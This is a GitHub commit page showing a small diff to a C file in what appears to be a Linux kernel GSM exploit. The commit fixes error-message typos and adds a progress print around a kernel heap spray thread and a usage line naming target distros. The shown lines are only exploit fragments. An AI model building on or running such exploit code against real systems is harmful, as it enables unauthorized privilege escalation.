Skip to content

Commit

Permalink
typo & add hint
Browse files Browse the repository at this point in the history
Some kernels may get stuck in the join 'spray' or 'setconf dlci' thread during execution, so adding hints will make it easier to determine whether or not to re-execute.
  • Loading branch information
LianSheng197 committed Apr 18, 2024
1 parent baa9a4a commit 1196c4a
Showing 1 changed file with 4 additions and 3 deletions.
7 changes: 4 additions & 3 deletions ExploitGSM_6_5/main.c
Original file line number Diff line number Diff line change
Expand Up @@ -519,7 +519,7 @@ int main(int argc, char *argv[]) {

if (argc < 1 || argv[1] == 0)
{
fprintf(stderr, "Input distro name to arg, example ./Exploit ubuntu|fedora");
fprintf(stderr, "Input distro name to arg, example ./Exploit ubuntu|fedora\n");
goto error_arg;
}

Expand Down Expand Up @@ -1020,14 +1020,15 @@ int main(int argc, char *argv[]) {
retval = pthread_create(&tid_spray, &tattr_alloc_dlci, thread_spray_kheap, &arg_spray);
if (retval != 0)
{
fprintf(stderr, "Error create setconf dlci thread, %s \n", strerror(retval));
fprintf(stderr, "Error create spray thread, %s \n", strerror(retval));
goto error_create_spray;
}

printf("waiting spray thread \n");
retval = pthread_join(tid_spray, NULL);
if (retval != 0)
{
fprintf(stderr, "Error thread join to spray thread %s \n", strerror(retval));
fprintf(stderr, "Error join to spray thread %s \n", strerror(retval));
goto error_spray;
}

Expand Down

0 comments on commit 1196c4a

Please sign in to comment.